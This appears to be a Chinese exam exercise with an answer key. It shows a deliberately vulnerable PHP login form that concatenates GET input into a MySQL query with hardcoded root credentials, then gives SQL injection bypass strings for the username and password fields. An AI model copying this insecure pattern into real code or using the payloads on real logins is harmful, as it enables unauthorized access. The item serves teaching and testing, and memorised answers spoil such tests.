1.loginPHP网站:
http://192.168.112.100/loginPHP/login.php

程序调用关系如下:
login.php→loginAuth.php←→DB(MySQL mydb.users)
(1)login.php主要代码如下:
<form action="loginAuth.php" method="GET">
Username:<input type="text" name="usernm"/></br>
Password:<input type="text" name="passwd"/></br>
<input type="submit" value="Submit"/>  <input type="reset" value="Reset"/>
</form>
(2)loginAuth.php主要代码如下:
<?php
$username=$_REQUEST['usernm'];
$password=$_REQUEST['passwd'];
$conn=mysql_connect("127.0.0.1","root","123456");
if(!$conn){
exit("DB Connect Failure</br>");
}
mysql_select_db("mydb",$conn) or exit("DB Select Failure</br>");
$sql="select id,username,password from users where username='$username' and password='$password'";
$res=mysql_query($sql,$conn) or exit("DB Query Failure</br>");
if (mysql_num_rows($res)!=0){
echo "Login Success!";
}
else{
echo "Login Failure!";}
?>
根据程序代码,存在SQL注入漏洞,其万能密码为( ),万能用户名为( )。
注:为自动评分阅卷,任意用户名、任意密码必须用1或any。
【分析解答】
浏览器:http://192.168.112.100/loginPHP/login.php
login.php显示表单界面:

输入的Username: 存入变量usernm,Password: 存入变量passwd
表单(form)通过GET方式提交,后台处理程序loginAuth.php:
$username=$_REQUEST['usernm'];
$password=$_REQUEST['passwd'];
将分别获取输入值,赋值给变量$username和$password。
SQL语句:
select id,username,password from users where username='$username' and password='$password'
where条件进行判断:在users表中查找username和password字段值是否等于表单输入的值。
因为SQL语句的where条件中username=' '和password=' '连在一起,存在SQL注入漏洞:
select id,username,password from users where username='$username' and password='$password'

所以,万能用户名为:
any' union select * from users#
或
1' union select * from users#


万能密码为:
any' or 1='1
或
1' or 1='1



